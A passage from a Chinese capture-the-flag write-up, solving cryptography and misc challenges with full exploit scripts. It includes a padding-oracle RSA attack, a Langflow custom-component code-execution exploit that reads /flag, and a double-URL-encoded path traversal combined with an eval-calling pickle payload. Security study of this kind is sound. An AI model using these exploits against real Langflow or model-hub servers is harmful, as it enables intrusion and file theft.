N = 26053711197494345044781792077684912715021496527090136170200684647867265472090211834710019839499107995669155152828437896116662002233291085930822051870305763730149854492858590504378536095737328118664985736152084079800882198391309368647378331467360788476262812209190311267210497136432749618866195431576788245257578944400642543842611237033327500755489384635255355477488050218362690346216157317101091056613531444602254303947713075065315141018050424970114665608081069231050100673543130979972703432232664846464287183328555447235439966638024174265363366180280032770503317829739744455034691040984563526167517235779809547052041
E = 65537
BATCH = 128


def ceil_div(a, b):
    return -(-a // b)


class Oracle:
    def __init__(self, host, port):
        raw = socket.create_connection((host, port), timeout=30)
        raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        self.sock = ctx.wrap_socket(raw, server_hostname=host)
        self.sock.settimeout(30)
        self.io = self.sock.makefile("rwb", buffering=0)
        banner = self.io.readline(8192).strip()
        match = re.fullmatch(rb"session ([0-9a-fA-F]+) ([0-9]+)", banner)
        if match is None:
            raise RuntimeError(f"bad banner: {banner!r}")
        c = int(match.group(1), 16)
        self.factor = int(match.group(2))
        if math.gcd(self.factor, N) != 1:
            raise RuntimeError("noninvertible multiplier")

        # Work on c' = c * factor^e. Its plaintext is known to be conforming.
        self.c = c * pow(self.factor, E, N) % N
        self.cache = {1: True}
        self.queries = 0

    def query_many(self, values):
        values = list(values)
        missing = list(dict.fromkeys(s for s in values if s not in self.cache))
        for offset in range(0, len(missing), BATCH):
            chunk = missing[offset : offset + BATCH]
            payload = bytearray()
            for s in chunk:
                test_c = self.c * pow(s, E, N) % N
                payload.extend(f"{test_c:x}\n".encode())
            self.io.write(payload)
            for s in chunk:
                reply = self.io.readline(8192).strip()
                if reply not in (b"ok", b"bad"):
                    raise RuntimeError(f"oracle disconnected: {reply!r}")
                self.cache[s] = reply == b"ok"
                self.queries += 1
        return [self.cache[s] for s in values]

    def close(self):
        self.io.close()
        self.sock.close()


def merge(intervals):
    intervals.sort()
    result = []
    for low, high in intervals:
        if result and low <= result[-1][1] + 1:
            result[-1] = (result[-1][0], max(result[-1][1], high))
        else:
            result.append((low, high))
    return result


def narrow(intervals, s, B):
    result = []
    for a, b in intervals:
        r_min = ceil_div(a * s - (3 * B - 1), N)
        r_max = (b * s - 2 * B) // N
        for r in range(r_min, r_max + 1):
            low = max(a, ceil_div(2 * B + r * N, s))
            high = min(b, (3 * B - 1 + r * N) // s)
            if low <= high:
                result.append((low, high))
    result = merge(result)
    if not result:
        raise RuntimeError("empty interval set")
    return result


def find_initial(oracle, start):
    s = start
    while True:
        values = list(range(s, s + BATCH))
        replies = oracle.query_many(values)
        for candidate, ok in zip(values, replies):
            if ok:
                return candidate
        s += BATCH


def find_next(oracle, a, b, previous_s, B):
    r = ceil_div(2 * (b * previous_s - 2 * B), N)
    pending = []
    while True:
        low = max(previous_s + 1, ceil_div(2 * B + r * N, b))
        high = (3 * B - 1 + r * N) // a
        for s in range(low, high + 1):
            pending.append(s)
            if len(pending) == BATCH:
                replies = oracle.query_many(pending)
                for candidate, ok in zip(pending, replies):
                    if ok:
                        return candidate
                pending.clear()
        r += 1


def recover(oracle):
    k = (N.bit_length() + 7) // 8
    B = 1 << (8 * (k - 2))
    intervals = [(2 * B, 3 * B - 1)]
    s = find_initial(oracle, ceil_div(N, 3 * B))
    intervals = narrow(intervals, s, B)
    rounds = 1

    while len(intervals) != 1 or intervals[0][0] != intervals[0][1]:
        if len(intervals) > 1:
            s = find_initial(oracle, s + 1)
        else:
            s = find_next(oracle, *intervals[0], s, B)
        intervals = narrow(intervals, s, B)
        rounds += 1
        if rounds % 25 == 0:
            width = sum(b - a + 1 for a, b in intervals)
            print(
                f"round={rounds} queries={oracle.queries} "
                f"intervals={len(intervals)} width_bits={width.bit_length()}",
                file=sys.stderr,
                flush=True,
            )

    print(f"converged: rounds={rounds} queries={oracle.queries}", file=sys.stderr)
    m_blinded = intervals[0][0]
    return m_blinded * pow(oracle.factor, -1, N) % N


def main():
    host = sys.argv[1] if len(sys.argv) > 1 else "qi23rcte.nestctf.cyberpeace.cn"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 58999
    oracle = Oracle(host, port)
    try:
        m = recover(oracle)
    finally:
        oracle.close()

    k = (N.bit_length() + 7) // 8
    encoded = m.to_bytes(k, "big")
    if encoded[:2] != b"\x00\x02":
        raise RuntimeError("invalid recovered block")
    separator = encoded.find(b"\x00", 2)
    if separator < 10:
        raise RuntimeError("invalid padding")
    print(encoded[separator + 1 :].decode("ascii"))


if __name__ == "__main__":
    main()

本次会话在 2017 轮、288083 次预言机查询后收敛。恢复出的 256 字节编码块以 00 02 开头,分隔零字节位于下标 209,填充长度为 207 字节,结构检查全部通过。

flag{gt542M2Ka71JlaJZ7vveOuAUb5fgu1Uug4Mu6mem}

5. dropout

题目给出模数 q = 7681、维度 n = 32、样本数 m = 64,以及矩阵 A 和向量 b。它们满足

b = A s + e (mod q)

其中秘密 s 是二进制向量,误差 e 的每个分量都在 {-1, 0, 1} 中。还给出一个 28 字节的 masked_update。

恢复秘密

构造下面的行格基:

[ I_n   A^T    0 ]
[  0    qI_m   0 ]
[  0     b^T   1 ]

若 b = As + e + qk,用最后一行减去由 s 指定的前 n 行,再适当加上 qI_m 的行,可以得到

(-s, -e, 1)

s 和 e 都很小,所以该向量远短于格中的普通向量。对格基执行 LLL 后,最短行的平方范数只有 55,而随后各行的平方范数约为数百万。由其首段读出秘密:

10000001000001100011101001110100

将秘密代回全部 64 个样本,所得中心化残差的最大绝对值为 1,验证了恢复结果。

解开掩码

掩码是 SHA-256(bytes(s))。将 masked_update 与摘要的前 28 字节逐字节异或即可得到明文。

完整 Exp:

#!/usr/bin/env python3
import hashlib
import json
import sys
from pathlib import Path

from flint import fmpz_mat


def centered(value: int, modulus: int) -> int:
    value %= modulus
    return value - modulus if value > modulus // 2 else value


def recover_secret(data: dict) -> tuple[list[int], list[int]]:
    q = data["q"]
    n = data["n"]
    m = data["m"]
    matrix = data["A"]
    vector = data["b"]
    dimension = n + m + 1

    basis = []
    for column in range(n):
        row = [0] * dimension
        row[column] = 1
        for sample in range(m):
            row[n + sample] = matrix[sample][column]
        basis.append(row)

    for sample in range(m):
        row = [0] * dimension
        row[n + sample] = q
        basis.append(row)

    basis.append([0] * n + vector + [1])
    reduced = fmpz_mat(basis).lll(delta=0.99, eta=0.51)
    rows = [
        [int(reduced[i, j]) for j in range(dimension)]
        for i in range(dimension)
    ]
    rows.sort(key=lambda row: sum(value * value for value in row))

    for row in rows:
        if abs(row[-1]) != 1:
            continue
        secret = [-row[-1] * value for value in row[:n]]
        errors = [
            centered(
                sum(matrix[i][j] * secret[j] for j in range(n)) - vector[i],
                q,
            )
            for i in range(m)
        ]
        if all(bit in (0, 1) for bit in secret) and max(map(abs, errors)) <= 1:
            return secret, errors

    raise RuntimeError("LLL reduction did not expose the embedded LWE vector")


def main() -> None:
    source = Path(sys.argv[1] if len(sys.argv) > 1 else "samples.json")
    data = json.loads(source.read_text(encoding="utf-8"))
    secret, errors = recover_secret(data)

    ciphertext = bytes.fromhex(data["masked_update"])
    mask = hashlib.sha256(bytes(secret)).digest()
    plaintext = bytes(left ^ right for left, right in zip(ciphertext, mask))

    print("secret:", "".join(map(str, secret)))
    print("max |error|:", max(map(abs, errors)))
    print(plaintext.decode())


if __name__ == "__main__":
    main()

Flag:flag{mask_seed_from_dropout}


Misc

6. LLM Pipeline

分析

入口是开启自动登录的 Langflow。请求 /api/v1/auto_login 可以取得普通用户访问令牌。/api/v1/validate/code 已经只做静态编译,函数默认参数和装饰器不会执行,因此转向前端实际使用的 /api/v1/custom_component。

自定义组件接口会解析并执行组件类,以生成模板和元数据。服务增加的 AST 沙箱会拒绝 os、pathlib、base64 等显式导入,但没有限制 open、__import__ 等内置函数。类属性在模板构建阶段立即求值,description 又会出现在 JSON 响应的 data.description 字段中。把 open("/flag").read() 放入 description,即可在组件校验响应中获得 flag。

Exp

#!/usr/bin/env python3
import json
import sys
import urllib.error
import urllib.request


def request_json(url, *, method="GET", token=None, data=None):
    body = None if data is None else json.dumps(data).encode()
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"
    request = urllib.request.Request(url, data=body, headers=headers, method=method)
    try:
        with urllib.request.urlopen(request, timeout=30) as response:
            return json.load(response)
    except urllib.error.HTTPError as error:
        detail = error.read().decode(errors="replace")
        raise RuntimeError(f"HTTP {error.code}: {detail}") from error


def exploit(base_url):
    base_url = base_url.rstrip("/")
    auth = request_json(f"{base_url}/api/v1/auto_login")

    component = '''from langflow.custom import Component
from langflow.io import Output

class FlagReader(Component):
    display_name = "Flag Reader"
    description = str(open("/flag").read())
    icon = "braces"
    name = "FlagReader"
    outputs = [Output(display_name="Result", name="result", method="build")]

    def build(self) -> str:
        return "ok"
'''

    response = request_json(
        f"{base_url}/api/v1/custom_component",
        method="POST",
        token=auth["access_token"],
        data={"code": component, "frontend_node": None},
    )
    return response["data"]["description"].strip()


if __name__ == "__main__":
    if len(sys.argv) != 2:
        raise SystemExit(f"usage: {sys.argv[0]} http://host:port")
    print(exploit(sys.argv[1]))

运行:

python exp.py http://dhbkc5jw.nestctf.cyberpeace.cn:58080

Flag:

flag{2db2s9HLHq7oV7sJVrWA94KT8uDm7hyrGpQXnDkt}

7. Pickle-Me-Not

入口分析

站点前端公开了以下信息:

  • 模型名为 fleet-aux-v3,版本为 17;
  • 导入任务为 IMP-2026-0917-017;
  • 隔离原因为 Pickle 中出现 modelhub_compat.rebuild_legacy_token;
  • 工件预览链先后执行两次 url-unquote,访问策略位于两次解码之间;
  • 公共命名空间为 repository:/public/,仓库边界为 repository:/。

将 ../quarantine/import_ticket.json 中的路径分隔符和两个点双重编码,得到:

%252e%252e%252fquarantine%252fimport_ticket.json

第一次解码后,策略看到的路径中仍保留编码字符,因此通过公共命名空间检查。存储适配器第二次解码后产生真实的目录穿越,最终读取隔离区的票据。票据给出了重放令牌以及需要检查的证据文件。

隔离取证

兼容重放接口接受带有 LEGACY\n 前缀的 Pickle,并要求提交对应隔离票据。构造自己的 Pickle,让它在隔离工作器中读取指定证据文件并返回 Base64。该过程只反序列化自行生成的载荷,本地没有加载未知检查点。

取得 repository_manifest.json 后,先校验隔离检查点和 Safetensors 分片的 SHA-256。quarantine_snapshot.pt 是 PyTorch ZIP,直接用 zipfile 读取成员,不进行解压和反序列化。data.pkl 使用 pickletools.genops 完整反汇编,发现异常调用:

modelhub_compat.rebuild_legacy_token(
    tensor_view,
    "legacy-tar-bridge/quarantine-17",
    "6c6f61645f736166655f323032365f31",
    89,
    1584683888,
)

传入函数的张量视图来自字节存储 2,参数为:

storage_offset = 19
shape = (4, 32)
stride = (67, 2)

因此密文按下面的下标顺序取得:

storage[19 + row * 67 + column * 2]

Safetensors 索引指出 guard.kdf_salt 位于第一个分片。按照 Safetensors 格式读取 8 字节小端头长度、JSON 头和数据区,得到 16 字节盐:

69c429c475ee3c2c89aa14ae514d2c75

导入诊断给出的密钥流分组公式为:

sha256(utf8(global|route_id|nonce|storage_key|peer_salt_hex) || counter_be32)

计数器从 0 开始,逐块拼接 SHA-256 输出,再与张量视图的前 89 字节异或。最后一个参数 1584683888 是预期 CRC-32,即 0x5e745b70。解密结果的 CRC-32 完全一致:

MODEL_IMPORT_REVIEW|tensor=guard.trace|flag{9rbxHIwLGWgFm5iwRfQyl94hWqsah9aWl1ypyfSc}|END

Exp

#!/usr/bin/env python3
"""Pickle-Me-Not exploit and static evidence decoder (standard library only)."""

from __future__ import annotations

import argparse
import ast
import base64
import hashlib
import io
import json
import pickle
import pickletools
import re
import struct
import urllib.error
import urllib.request
import zipfile
import zlib


JOB_ID = "IMP-2026-0917-017"
QUARANTINE_ROOT = "/app/repository/quarantine"


def request_json(url: str, body: dict[str, str] | None = None) -> dict:
    data = None
    headers: dict[str, str] = {}
    if body is not None:
        data = json.dumps(body).encode("utf-8")
        headers["Content-Type"] = "application/json"
    request = urllib.request.Request(url, data=data, headers=headers)
    try:
        with urllib.request.urlopen(request, timeout=15) as response:
            return json.load(response)
    except urllib.error.HTTPError as error:
        detail = error.read().decode("utf-8", "replace")
        raise RuntimeError(f"HTTP {error.code}: {detail}") from error


def read_quarantine_json(base_url: str, name: str) -> dict:
    if not name.endswith(".json") or "/" in name or "\\" in name:
        raise ValueError("invalid evidence name")
    confused_path = "%252e%252e%252fquarantine%252f" + name
    url = f"{base_url}/api/v1/artifacts?path={confused_path}"
    return request_json(url)


class EvalPayload:
    def __init__(self, expression: str):
        self.expression = expression

    def __reduce__(self):
        return eval, (self.expression,)


def replay_expression(base_url: str, ticket: str, expression: str):
    payload = b"LEGACY\n" + pickle.dumps(EvalPayload(expression), protocol=4)
    response = request_json(
        f"{base_url}/api/v1/import-jobs/{JOB_ID}/replay",
        {
            "ticket": ticket,
            "pickle_b64": base64.b64encode(payload).decode("ascii"),
        },
    )
    return ast.literal_eval(response["result"])


def read_evidence(base_url: str, ticket: str, name: str) -> bytes:
    allowed = {
        "model-00001-of-00002.safetensors",
        "quarantine_snapshot.pt",
    }
    if name not in allowed:
        raise ValueError("evidence name is not allowlisted")
    remote_path = f"{QUARANTINE_ROOT}/{name}"
    expression = (
        "__import__('base64').b64encode("
        f"open('{remote_path}','rb').read()).decode('ascii')"
    )
    return base64.b64decode(replay_expression(base_url, ticket, expression), validate=True)


def verify_hash(blob: bytes, expected: str, label: str) -> None:
    actual = hashlib.sha256(blob).hexdigest()
    if actual != expected:
        raise ValueError(f"SHA-256 mismatch for {label}: {actual}")


def read_guard_salt(shard: bytes) -> bytes:
    if len(shard) < 8:
        raise ValueError("truncated Safetensors shard")
    header_size = struct.unpack("<Q", shard[:8])[0]
    header_end = 8 + header_size
    if header_end > len(shard):
        raise ValueError("invalid Safetensors header size")
    header = json.loads(shard[8:header_end].decode("utf-8"))
    tensor = header["guard.kdf_salt"]
    if tensor["dtype"] != "U8" or tensor["shape"] != [16]:
        raise ValueError("unexpected guard.kdf_salt layout")
    start, end = tensor["data_offsets"]
    return shard[header_end + start : header_end + end]


def parse_snapshot(snapshot: bytes) -> tuple[bytes, str, str, str, int, int]:
    with zipfile.ZipFile(io.BytesIO(snapshot)) as archive:
        pickle_data = archive.read("quarantine_snapshot/data.pkl")
        storage = archive.read("quarantine_snapshot/data/2")

    operations = list(pickletools.genops(pickle_data))
    global_reference = next(
        argument
        for opcode, argument, _ in operations
        if opcode.name == "GLOBAL"
        and argument == "modelhub_compat rebuild_legacy_token"
    )
    strings = [
        argument
        for opcode, argument, _ in operations
        if opcode.name == "BINUNICODE"
    ]
    route_id = next(value for value in strings if value.startswith("legacy-tar-bridge/"))
    nonce = next(value for value in strings if re.fullmatch(r"[0-9a-f]{32}", value))
    expected_crc32 = next(
        argument for opcode, argument, _ in operations if opcode.name == "LONG1"
    )

    ciphertext = bytes(
        storage[19 + row * 67 + column * 2]
        for row in range(4)
        for column in range(32)
    )
    plaintext_length = 89
    qualified_global = global_reference.replace(" ", ".")
    return ciphertext, qualified_global, route_id, nonce, plaintext_length, expected_crc32


def kdf(material: bytes, length: int) -> bytes:
    output = bytearray()
    counter = 0
    while len(output) < length:
        output.extend(hashlib.sha256(material + counter.to_bytes(4, "big")).digest())
        counter += 1
    return bytes(output[:length])


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "base_url",
        nargs="?",
        default="http://r5nqxe4r.nestctf.cyberpeace.cn:58080",
    )
    args = parser.parse_args()
    base_url = args.base_url.rstrip("/")

    job = request_json(f"{base_url}/api/v1/import-jobs/{JOB_ID}")["job"]
    if job["status"] != "Quarantined":
        raise ValueError("unexpected import job state")

    ticket_record = read_quarantine_json(base_url, "import_ticket.json")
    manifest = read_quarantine_json(base_url, "repository_manifest.json")
    ticket = ticket_record["ticket"]

    snapshot = read_evidence(base_url, ticket, "quarantine_snapshot.pt")
    shard = read_evidence(base_url, ticket, "model-00001-of-00002.safetensors")
    snapshot_hash = next(
        item["sha256"]
        for item in manifest["models"]
        if item["name"] == "quarantine_snapshot.pt"
    )
    shard_hash = next(
        item["sha256"]
        for item in manifest["safe_peer"]["shards"]
        if item["name"] == "model-00001-of-00002.safetensors"
    )
    verify_hash(snapshot, snapshot_hash, "quarantine_snapshot.pt")
    verify_hash(shard, shard_hash, "model-00001-of-00002.safetensors")

    ciphertext, global_name, route_id, nonce, length, expected_crc32 = parse_snapshot(snapshot)
    peer_salt = read_guard_salt(shard)
    storage_key = "2"
    material = (
        f"{global_name}|{route_id}|{nonce}|{storage_key}|{peer_salt.hex()}"
    ).encode("utf-8")
    stream = kdf(material, length)
    plaintext = bytes(a ^ b for a, b in zip(ciphertext[:length], stream))
    actual_crc32 = zlib.crc32(plaintext) & 0xFFFFFFFF
    if actual_crc32 != expected_crc32:
        raise ValueError(
            f"CRC-32 mismatch: 0x{actual_crc32:08x} != 0x{expected_crc32:08x}"
        )

    message = plaintext.decode("utf-8")
    flag = re.search(r"flag\{[^}]+\}", message)
    if flag is None:
        raise ValueError(f"flag not found in decoded record: {message!r}")
    print(flag.group(0))


if __name__ == "__main__":
    main()

Flag

flag{9rbxHIwLGWgFm5iwRfQyl94hWqsah9aWl1ypyfSc}

8. Causal Mosaic

题目分析

题目给出 9 个事件和三份局部日志,共计 10 条先后约束。需要把三种编码统一转换为有向边:

  • A 中的 before 与 after 直接表示 before -> after。
  • B 的 X <- Y 表示右侧事件先发生,因此转换为 Y -> X。
  • C 的 [i, j] 表示原始 events 数组中的第 i 个事件先于第 j 个事件。索引从 0 开始,解释前不能重排事件数组。

local_tick 是各日志自己的展示值,不能跨日志比较。事件权重只用于验证器生成规范输出,也不影响拓扑序。

把所有边合并后,使用 Kahn 算法维护每个事件的入度。每次取出一个入度为 0 的事件加入答案,删除它的所有出边;新出现的零入度事件继续入队。输出 9 个事件后,再逐边检查起点在终点之前,最后把同一个数组提交给 A、B、C。

本次实例合并得到:

event-eafe83 -> event-559156
event-968fd0 -> event-b7e95a
event-1d9941 -> event-824a10
event-e4393b -> event-812a8a
event-eafe83 -> event-968fd0
event-ccd38e -> event-1d9941
event-1d9941 -> event-e4393b
event-b7e95a -> event-1d9941
event-559156 -> event-ccd38e
event-824a10 -> event-812a8a

得到一个合法拓扑序:

event-eafe83, event-968fd0, event-b7e95a, event-559156, event-ccd38e, event-1d9941, event-824a10, event-e4393b, event-812a8a

三个验证器均返回 valid = true,规范值为 207,摘要为 38b4e640a8e2264b6aa5c1cc6d00fcec9782abb8044bb4ddbc3b0ba0d4f5cb0f。

Exp

#!/usr/bin/env python3
import argparse
import heapq
import json
from urllib.request import ProxyHandler, Request, build_opener


def post(base, path, body):
    request = Request(
        base.rstrip("/") + path,
        data=json.dumps(body).encode("utf-8"),
        headers={"Content-Type": "application/json"},
    )
    with build_opener(ProxyHandler({})).open(request, timeout=30) as response:
        return json.load(response)


def solve(challenge):
    events = challenge["events"]
    ids = [event["id"] for event in events]
    traces = challenge["traces"]
    edges = []

    for row in traces["A"]:
        edges.append((row["before"], row["after"]))

    for row in traces["B"]:
        after, before = map(str.strip, row["relation"].split("<-"))
        edges.append((before, after))

    for row in traces["C"]:
        before_index, after_index = row["pair"]
        edges.append((ids[before_index], ids[after_index]))

    rank = {event_id: index for index, event_id in enumerate(ids)}
    successors = {event_id: set() for event_id in ids}
    indegree = {event_id: 0 for event_id in ids}
    for before, after in edges:
        if after not in successors[before]:
            successors[before].add(after)
            indegree[after] += 1

    ready = [(rank[event_id], event_id) for event_id in ids if indegree[event_id] == 0]
    heapq.heapify(ready)
    order = []
    while ready:
        _, current = heapq.heappop(ready)
        order.append(current)
        for following in sorted(successors[current], key=rank.__getitem__):
            indegree[following] -= 1
            if indegree[following] == 0:
                heapq.heappush(ready, (rank[following], following))

    assert len(order) == len(ids) == 9
    assert set(order) == set(ids)
    position = {event_id: index for index, event_id in enumerate(order)}
    assert all(position[before] < position[after] for before, after in edges)
    return order


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--base", required=True)
    args = parser.parse_args()

    instance = post(args.base, "/api/new", {})
    order = solve(instance["challenge"])
    answer = {executor: order for executor in ("A", "B", "C")}
    result = post(
        args.base,
        "/api/submit",
        {
            "session_id": instance["session_id"],
            "question_id": instance["question_id"],
            "inputs": answer,
        },
    )
    print(json.dumps(result, ensure_ascii=False, indent=2))
    if not result.get("complete") or "flag" not in result:
        raise SystemExit("submission failed")
    print(result["flag"])


if __name__ == "__main__":
    main()

Flag

flag{W3nxZB8RVy4tcddDVAvpHIo8}

9. SilentWeights

分析

model.pt 使用 PyTorch 的 ZIP 序列化格式。静态查看 data.pkl 可以得到六个连续存储区与参数的对应关系:

存储区 参数 形状
data/0 fc1.weight 64 × 16
data/1 fc1.bias 64
data/2 fc2.weight 32 × 64
data/3 fc2.bias 32
data/4 fc3.weight 10 × 32
data/5 fc3.bias 10

这些参数都是小端序 float32。将 float32 的原始 32 位表示当作无符号整数,按 fc2.weight 的原顺序取每个整数的最低有效位,再按高位优先把每 8 位组成一个字节,得到的字节流开头为:

00 27 66 6c 61 67 7b 77 33 31 67 68 74 73 5f 64 ...

前两个字节 00 27 是大端 16 位长度头,数值为 39;后面紧跟 39 字节 ASCII 载荷。修改最低有效位只会让单精度权重产生一个 ULP 以内的变化,所以模型精度与常规权重分布都不会出现明显异常。

Exp

#!/usr/bin/env python3
import argparse
import struct
import zipfile
from pathlib import Path


def pack_msb_first(bits: list[int]) -> bytes:
    output = bytearray()
    for offset in range(0, len(bits) - 7, 8):
        value = 0
        for bit in bits[offset : offset + 8]:
            value = (value << 1) | bit
        output.append(value)
    return bytes(output)


def extract_flag(model_path: Path) -> str:
    with zipfile.ZipFile(model_path) as archive:
        candidates = [
            name for name in archive.namelist() if name.endswith("/data/2")
        ]
        if len(candidates) != 1:
            raise RuntimeError("cannot uniquely locate fc2.weight storage")
        raw = archive.read(candidates[0])

    if len(raw) % 4:
        raise RuntimeError("fc2.weight storage is not aligned to float32")

    bits = [value & 1 for (value,) in struct.iter_unpack("<I", raw)]
    hidden = pack_msb_first(bits)
    if len(hidden) < 2:
        raise RuntimeError("LSB stream has no length header")
    length = int.from_bytes(hidden[:2], "big")
    payload = hidden[2 : 2 + length]
    if len(payload) != length:
        raise RuntimeError("payload length exceeds the LSB stream")
    return payload.decode("ascii")


def main() -> None:
    parser = argparse.ArgumentParser(
        description="Extract the bit-0 payload from SilentWeights model.pt"
    )
    parser.add_argument("model", type=Path, help="path to model.pt")
    args = parser.parse_args()
    print(extract_flag(args.model))


if __name__ == "__main__":
    main()

运行方式:

python solve.py model.pt

输出:

flag{w31ghts_d0nt_l13_but_th3y_wh1sp3r}

Flag

flag{w31ghts_d0nt_l13_but_th3y_wh1sp3r}

10. UAE

分析

config.json 给出了完整的生成参数。样本由 google/ddpm-cifar10-32、1000 步确定性 Guided DDIM 和目标分类器共同生成,二维码载荷被叠加到初始噪声中:

[
x_T = G + P
]

其中 G 是种子 555 生成的高斯噪声,P 是经过种子 20261012 的逐像素正负一掩码调制后的二维码。二维码为 25×25,每个模块依次放入三个通道的 2×2 块中。

先将 x_adv.npy 输入附带的分类器,最大概率类别为 3,即 cat,因此分类器引导的目标类别是 3。sampler.py 中的生成过程是确定性的,可以逐步求解生成公式:

[
x_{t-1}=A x_t+B\hat\epsilon(x_t,t)
]

固定当前的噪声预测后可得:

[
x_t=\frac{x_{t-1}-B\hat\epsilon(x_t,t)}{A}
]

从 x_adv 沿 1000 个时间步正向执行一次定点更新,即可得到精度足够的初始噪声。随后重新生成 G,计算 (x_T-G)×mask,对每个 2×2 块取平均值。负值对应深色模块,正值对应浅色模块。拼接前 625 个模块并加入静区后,二维码内容为:

dr34m_0f_n01s3

Exp

import argparse
import os
from pathlib import Path

import cv2
import numpy as np
import torch
import torch.nn as nn
from diffusers import DDPMPipeline
from torchvision.models import resnet18


class CifarResNet18(nn.Module):
    def __init__(self):
        super().__init__()
        net = resnet18(weights=None, num_classes=10)
        net.conv1 = nn.Conv2d(
            3, 64, kernel_size=3, stride=1, padding=1, bias=False
        )
        net.maxpool = nn.Identity()
        self.net = net
        self.register_buffer(
            "mean", torch.tensor([0.4914, 0.4822, 0.4465]).view(1, 3, 1, 1)
        )
        self.register_buffer(
            "std", torch.tensor([0.2470, 0.2435, 0.2616]).view(1, 3, 1, 1)
        )

    def forward(self, x):
        x = ((x + 1.0) / 2.0 - self.mean) / self.std
        return self.net(x)


class GuidedDDIM:
    def __init__(self, unet, scheduler, steps=1000):
        self.unet = unet
        self.ab = scheduler.alphas_cumprod.to(dtype=torch.float32)
        self.ts = np.round(np.arange(steps) * (1000 / steps)).astype(int)

    def eps(self, x, timestep, guidance):
        alpha_bar = self.ab[timestep]
        with torch.enable_grad():
            x_grad = x.detach().requires_grad_(True)
            epsilon = self.unet(x_grad, timestep).sample
            x0 = (
                x_grad - (1.0 - alpha_bar).sqrt() * epsilon
            ) / alpha_bar.sqrt()
            logits = guidance["classifier"](x0.clamp(-1.0, 1.0))
            log_probability = torch.log_softmax(logits, dim=-1)
            gradient = torch.autograd.grad(
                log_probability[:, guidance["target"]].sum(), x_grad
            )[0]
        return (
            epsilon
            - guidance["scale"] * (1.0 - alpha_bar).sqrt() * gradient
        ).detach()

    def invert_fixedpoint(self, image, guidance, iterations=1):
        x = image
        alpha_bar_previous = torch.ones(())
        for timestep in self.ts:
            timestep = int(timestep)
            alpha_bar = self.ab[timestep]
            coefficient_x = (alpha_bar_previous / alpha_bar).sqrt()
            coefficient_eps = (
                (1.0 - alpha_bar_previous).sqrt()
                - coefficient_x * (1.0 - alpha_bar).sqrt()
            )
            estimate = x.clone()
            for _ in range(iterations):
                epsilon = self.eps(estimate, timestep, guidance)
                estimate = (x - coefficient_eps * epsilon) / coefficient_x
            x = estimate.detach()
            alpha_bar_previous = alpha_bar
        return x


def recover_qr(x_t):
    gaussian = np.random.default_rng(555).standard_normal((3, 32, 32))
    pixel_mask = np.random.default_rng(20261012).choice(
        np.array([-1, 1], dtype=np.int8), size=(3, 32, 32)
    )
    payload = (x_t.astype(np.float64) - gaussian) * pixel_mask
    modules = np.array(
        [
            payload[channel, row * 2 : row * 2 + 2,
                    col * 2 : col * 2 + 2].mean()
            for channel in range(3)
            for row in range(16)
            for col in range(16)
        ]
    )[:625].reshape(25, 25)
    dark = modules < 0
    qr_image = np.pad((~dark).astype(np.uint8) * 255, 4, constant_values=255)
    qr_image = np.repeat(np.repeat(qr_image, 16, axis=0), 16, axis=1)
    return qr_image


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--input-dir", type=Path, default=Path("."))
    parser.add_argument("--cache-dir", type=Path, default=Path(".hf-cache"))
    parser.add_argument("--iterations", type=int, default=1)
    args = parser.parse_args()

    torch.set_num_threads(min(16, os.cpu_count() or 1))
    pipeline = DDPMPipeline.from_pretrained(
        "google/ddpm-cifar10-32", cache_dir=args.cache_dir
    )
    unet = pipeline.unet.eval().requires_grad_(False)
    classifier = CifarResNet18().eval().requires_grad_(False)
    state = torch.load(
        args.input_dir / "classifier.pt", map_location="cpu", weights_only=True
    )
    classifier.load_state_dict(state)

    x_adv = torch.from_numpy(np.load(args.input_dir / "x_adv.npy")).unsqueeze(0)
    with torch.no_grad():
        target = int(classifier(x_adv).argmax(dim=-1).item())
    print(f"target={target}")

    sampler = GuidedDDIM(unet, pipeline.scheduler, steps=1000)
    guidance = {"classifier": classifier, "target": target, "scale": 3.0}
    x_t = sampler.invert_fixedpoint(
        x_adv, guidance, iterations=args.iterations
    ).squeeze(0).numpy()

    qr_image = recover_qr(x_t)
    cv2.imwrite("recovered_qr.png", qr_image)
    payload, _, _ = cv2.QRCodeDetector().detectAndDecode(qr_image)
    if not payload:
        raise RuntimeError("QR decode failed; retry with --iterations 3")
    print(f"payload={payload}")
    print(f"flag{{{payload}}}")


if __name__ == "__main__":
    main()

Flag

flag{dr34m_0f_n01s3}

11. FilmReader

对 ext4 镜像做只读取证,恢复已删除的缓存及四片密钥材料;逆向 kcompat.ko 的密钥派生和栈虚拟机,解密正稿缓存。现存 flag.txt 和旧版 .real_cache.bak 都是干扰项。

原始附件 shadowread.img 大小为 536870912 字节,SHA-256:

d453a6a53ec2cea796d941fc767e6a01f834a9c6bf2eac5bd3492ee2a03779c3

使用 WSL 中的 Sleuth Kit fls -r -p 列出目录、icat -r 恢复删除文件,使用 binutils objdump -dr -Mintel 分析模块。无需挂载镜像或加载内核模块。

inode 镜像内路径 用途
25 /usr/local/bin/kcompat.ko 解密逻辑
26 /home/ctf/flag.txt 现存诱饵
27 /var/.cache/.kmod/.real_cache.bak 草稿密文
28 /var/.cache/.kmod/.real_cache 正稿密文
29 / 30 / 31 .s1 / .s2 / .s3 前三片密钥材料
32 .k2 第四片密钥材料

note.txt 提示草稿、正稿和删除的四片钥匙,但最终选择由模块代码核实:初始化时将路径与 0xc3 异或解码,read hook 对 /home/ctf/flag.txt 的实际数据源为 /var/.cache/.kmod/.real_cache,不是 .bak。auth.log 也记录了模块加载和两个缓存先后被删除。

以下偏移均为 ELF 节内相对偏移,而非加载后的虚拟地址。

  • .init.text+0x110 起:从 .s1、.s2、.s3 各读前 4 字节,再选 .kN,其中 N = .s2[0] & 3 = 2;其他备份文件不参与。
  • 拼接材料:3f9a2c71b6567e02d8c10f9927e6a450。
  • .text+0x1c90 是单块 SHA-256 实现;.init.text+0x21f 起对 16 字节材料做一次哈希,再对 32 字节摘要迭代 2^25-1 次,总计 33,554,432 次。
  • 最终摘要:a65dc30a337a3faee5a58c868fc3e715e3b9cbcd45c9fcec9fd1f00a1f4a2371。后 16 字节与 .rodata+0x3c0 异或 0xa6 后逐字节相符,验证密钥选择正确;前 16 字节作为 VM 密钥。
